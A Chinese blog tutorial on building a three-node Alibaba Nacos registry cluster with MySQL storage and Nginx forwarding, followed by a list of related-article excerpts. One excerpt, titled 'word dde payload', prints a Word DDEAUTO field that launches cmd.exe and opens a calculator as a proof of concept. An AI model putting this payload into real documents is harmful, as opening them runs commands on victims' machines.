本篇文章为系列文章,未读第一集的同学请猛戳这里:Spring Cloud 系列之 Alibaba Nacos 注册中心(一)

本篇文章讲解 Nacos 注册中心集群环境搭建。

Nacos 集群环境搭建

集群模式跟我们平时进行扩容是一样的,可以通过 Nginx 转发到多个节点,如下图:

如果为了方便省事,可以使用直连 ip 模式,配置中按如下编写即可:

spring:
# 配置 Nacos 注册中心
cloud:
nacos:
discovery:
enabled: true # 如果不想使用 Nacos 进行服务注册和发现,设置为 false 即可
server-addr: 192.168.10.101:8848,192.168.10.102:8848,192.168.10.103:8848 # Nacos 服务器地址

PS:如果只是为了学习的话直接在本地启动 3 个实例,通过修改端口的方式即可。本文使用三台服务器的方式带大家搭建环境,其实这种方式反而更简单。

环境准备

Nacos 单节点,也就是我们刚才使用的 standalone 模式,默认使用嵌入式数据库实现数据的存储,不方便观察数据存储的基本情况,0.7 版本以后增加了支持 MySQL 数据源能力。集群搭建的时候我们需要将 Nacos 对接 Mysql 进行数据存储。如果要搭建高可用的集群环境,至少要满足以下条件:

  • JDK 1.8+;
  • Maven 3.2.x+;
  • MySQL 5.6.5+(生产使用建议至少主备模式,或者采用高可用数据库);
  • 3个或3个以上Nacos节点才能构成集群。

下载源码或者安装包

可以通过源码和发行包两种方式来获取 Nacos。

源码方式

从 Github 上下载源码方式。

git clone https://github.com/alibaba/nacos.git
cd nacos/
mvn -Prelease-nacos -Dmaven.test.skip=true clean install -U
ls -al distribution/target/ // change the $version to your actual path
cd distribution/target/nacos-server-$version/nacos/bin

发行包方式

您可以从 https://github.com/alibaba/nacos/releases 下载最新稳定版本的 nacos-server 包。

配置集群配置文件

将安装包解压。

tar -zxvf nacos-server-1.2.1.tar.gz -C /usr/local/ # 解压文件至 local 目录

在 Nacos 的解压目录 nacos/conf 目录下,复制配置文件 cluster.conf.example 并重命名为 cluster.conf,每行配置成 ip:port。(请配置3个或3个以上节点)

192.168.10.101:8848
192.168.10.102:8848
192.168.10.103:8848

配置 MySQL 数据库

Nacos 在 0.7 版本之前,默认使用的是嵌入式数据库 Apache Derby 来存储数据(内嵌的数据库会随着 Nacos 一起启动,无需额外安装);0.7 版本及以后,增加了对 MySQL 数据源的支持。

MySQL数据源

环境要求:MySQL 5.6.5+(生产使用建议至少主备模式,或者采用高可用数据库);

初始化 MySQL 数据库

创建数据库 nacos_config

SQL源文件地址:https://github.com/alibaba/nacos/blob/master/distribution/conf/nacos-mysql.sql ,或者在 nacos-server 解压目录 conf 下,找到 nacos-mysql.sql 文件,运行该文件,结果如下:

application.properties 配置

修改 nacos/conf/application.properties 文件的以下内容。

最终修改结果如下:

#*************** Config Module Related Configurations ***************#
### If user MySQL as datasource:
# 指定数据源为 MySQL
spring.datasource.platform=mysql

Count of DB:

数据库实例数量

db.num=1

数据库连接信息,如果是 MySQL 8.0+ 版本需要添加 serverTimezone=Asia/Shanghai

Connect URL of DB:

db.url.0=jdbc:mysql://127.0.0.1:3306/nacos_config?characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&serverTimezone=Asia/Shanghai

db.user=root

db.password=1234

如果你和我一样使用的是 MySQL 8.0+ 版本,那么启动 Nacos 时肯定会报错。莫慌,在 Nacos 安装目录下新建 plugins/mysql 文件夹,并放入 8.0+ 版本的 mysql-connector-java-8.0.xx.jar,重启 Nacos 即可,启动时会提示更换了 MySQL 的 driver-class 类。

启动服务器

Linux/Unix/Mac

在 Nacos 的解压目录 nacos/bin 目录下启动。

启动命令(在没有参数模式,是集群模式):

sh startup.sh

查看启动记录

可通过 /nacos/logs/nacos.log(详细日志)或 /nacos/conf/start.out(启动记录)的输出内容查看是否启动成功。

查看命令:

tail -f /usr/local/nacos/logs/start.out

启动成功输出结果:

2020-04-29 22:47:56,204 INFO Nacos is starting...

2020-04-29 22:47:56,556 INFO Nacos logs files: /usr/local/nacos/logs/

2020-04-29 22:47:56,556 INFO Nacos conf files: /usr/local/nacos/conf/

2020-04-29 22:47:56,556 INFO Nacos data files: /usr/local/nacos/data/

2020-04-29 22:47:56,556 INFO Nacos started successfully in cluster mode.

访问

访问以下连接,默认用户名/密码是 nacos/nacos :

  • http://192.168.10.101:8848/nacos/
  • http://192.168.10.102:8848/nacos/
  • http://192.168.10.103:8848/nacos/

关闭服务器

Linux/Unix/Mac

sh shutdown.sh

测试

直连 ip 模式

商品服务 application. yml 配置文件。

server:
port: 7070 # 端口 spring:
application:
name: product-service # 应用名称
# 配置 Nacos 注册中心
cloud:
nacos:
discovery:
enabled: true # 如果不想使用 Nacos 进行服务注册和发现,设置为 false 即可
server-addr: 192.168.10.101:8848,192.168.10.102:8848,192.168.10.103:8848 # Nacos 服务器地址,集群版直连 ip 模式

订单服务 application. yml 配置文件。

server:
port: 9090 # 端口 spring:
application:
name: order-service # 应用名称
# 配置 Nacos 注册中心
cloud:
nacos:
discovery:
enabled: true # 如果不想使用 Nacos 进行服务注册和发现,设置为 false 即可
server-addr: 192.168.10.101:8848,192.168.10.102:8848,192.168.10.103:8848 # Nacos 服务器地址,集群版直连 ip 模式

启动 Nacos 集群,从下图可以看到集群节点共有三个,其中 192.168.10.101:8848leader

通过服务列表可以看到服务已注册至 Nacos。

访问:http://localhost:9090/order/1 结果如下:

Nginx 转发

再启动一台服务器 192.168.10.100,安装 Nginx,配置代理转发规则。

upstream nacos {
server 192.168.10.101:8848;
server 192.168.10.102:8848;
server 192.168.10.103:8848;
}

商品服务 application. yml 配置文件。

server:
port: 7070 # 端口 spring:
application:
name: product-service # 应用名称
# 配置 Nacos 注册中心
cloud:
nacos:
discovery:
enabled: true # 如果不想使用 Nacos 进行服务注册和发现,设置为 false 即可
server-addr: 192.168.10.100:80 # Nacos 服务器地址,集群版 Nginx 转发

订单服务 application. yml 配置文件。

server:
port: 9090 # 端口 spring:
application:
name: order-service # 应用名称
# 配置 Nacos 注册中心
cloud:
nacos:
discovery:
enabled: true # 如果不想使用 Nacos 进行服务注册和发现,设置为 false 即可
server-addr: 192.168.10.100:80 # Nacos 服务器地址,集群版 Nginx 转发

启动 Nacos 集群,从下图可以看到集群节点共有三个,其中 192.168.10.101:8848leader

通过服务列表可以看到服务已注册至 Nacos。

访问:http://localhost:9090/order/1 结果如下:

至此 Nacos 注册中心所有的知识点就讲解结束了。

本文采用 知识共享「署名-非商业性使用-禁止演绎 4.0 国际」许可协议

大家可以通过 分类 查看更多关于 Spring Cloud 的文章。

Spring Cloud 系列之 Alibaba Nacos 注册中心(二)的更多相关文章

  1. Spring Cloud 系列之 Alibaba Nacos 注册中心(一)

    前言 从本章节开始,我们学习 Spring Cloud Alibaba 相关微服务组件. Spring Cloud Alibaba 介绍 Spring Cloud Alibaba 致力于提供微服务开发 ...

  2. Spring Cloud 系列之 Alibaba Nacos 配置中心

    Nacos 介绍 Nacos 是 Alibaba 公司推出的开源工具,用于实现分布式系统的服务发现与配置管理.英文全称 Dynamic Naming and Configuration Service ...

  3. Spring Cloud Eureka Server使用(注册中心)

    一.Spring Cloud Eureka 基于Netflix Eureka做了二次封装 由两个组件组成 Eureka Server 注册中心, 供服务注册的服务器 Eureka Client 服务注 ...

  4. Spring Cloud 系列之 Gateway 服务网关(二)

    本篇文章为系列文章,未读第一集的同学请猛戳这里:Spring Cloud 系列之 Gateway 服务网关(一) 本篇文章讲解 Gateway 网关的多种路由规则.动态路由规则(配合服务发现的路由规则 ...

  5. Spring Cloud 系列之 Sleuth 链路追踪(二)

    本篇文章为系列文章,未读第一集的同学请猛戳这里:Spring Cloud 系列之 Sleuth 链路追踪(一) 本篇文章讲解 Sleuth 基于 Zipkin 存储链路追踪数据至 MySQL,Elas ...

  6. Spring Cloud 系列之 Stream 消息驱动(二)

    本篇文章为系列文章,未读第一集的同学请猛戳这里:Spring Cloud 系列之 Stream 消息驱动(一) 本篇文章讲解 Stream 如何实现消息分组和消息分区. 消息分组 如果有多个消息消费者 ...

  7. Spring Cloud Alibaba (nacos 注册中心搭建)

    [nacos下载地址](https://github.com/alibaba/nacos/releases) ### 什么是 Nacos? - nacos主要起到俩个作用一个是注册中心,另外一个是配置 ...

  8. 微服务架构 | 3.2 Alibaba Nacos 注册中心

    目录 前言 1. Nacos 基础知识 1.1 Nacos 命名方式 1.2 Nasoc 是什么 1.3 Nacos 的 4 个关键特性 1.4 Nacos 生态图 1.5 Nacos 架构图 1.6 ...

  9. Spring Cloud 系列之 Alibaba Sentinel 服务哨兵

    前文中我们提到 Netflix 中多项开源产品已进入维护阶段,不再开发新的版本,就目前来看是没有什么问题的.但是从长远角度出发,我们还是需要考虑是否有可替代产品使用.比如本文中要介绍的 Alibaba ...

随机推荐

  1. 自己用C语言写NXP S32K144 serial bootloader

    了解更多关于bootloader 的C语言实现,请加我QQ: 1273623966 (验证信息请填 bootloader) 欢迎咨询或定制bootloader(在线升级程序). NXP S32K144 ...

  2. Django路由配置之子路由include(URL分发)

    子路由include(URL分发) 在一个项目中可能存在多个应用,为了方便区分和管理,在项目的总路由urls.py中会进行路由分发: (1)项目总路由导入from  django.conf.urls  ...

  3. 流复制-pg_basebackup (有自定义表空间)

    一.组成部分 1.walsender进程是用来发送WAL日志记录的 2.walreceiver进程是用来接收WAL日志记录的 3.startup进程是用来apply日志的 二.主库配置 1.授权账号, ...

  4. 02 Redis数据结构基础

    一.客户端命令行参数 1.-x 从标准输入读取一个参数,等价于set k v [root@localhost etc]# echo -en 'v1'|redis-cli -a foobared -x ...

  5. Golang源码学习:调度逻辑(一)初始化

    本文所使用的Golang为1.14,dlv为1.4.0. 源代码 package main import "fmt" func main() { fmt.Println(" ...

  6. python爬虫需要掌握哪些知识点

    1.熟练掌握Python语言 2.熟练掌握JS/HTML/CSS,了解HTTP协议. 3.熟练使用chrome 4.爬虫框架 推荐几个大神的教学干货,大家共同进步! https://zhuanlan. ...

  7. HTTP——无状态协议理解

    无状态服务器是指一种把每个请求作为与之前任何请求都无关的独立的事务的服务器. HTTP是一个属于应用层的面向对象的协议 ------未完待续

  8. 【JUC】如何理解线程池?第四种使用线程的方式

    线程池的概念 线程池的主要工作的控制运行的线程的数量,处理过程种将任务放在队列,线程创建后再启动折现任务,如果线程数量超过了最大的数量,则超过部分的线程排队等待,直到其他线程执行完毕后,从队列种取出任 ...

  9. ES7学习笔记(十三)GEO位置搜索

    ES的基本内容介绍的已经差不多了,最后我们再来看看GEO位置搜索,现在大部分APP都有基于位置搜索的功能,比如:我们点外卖,可以按照离我们的距离进行排序,这样可以节省我们的配送费和送餐的时间:还有找工 ...

  10. word dde payload

    payload: ctrl+F9 {DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" } Since this techni ...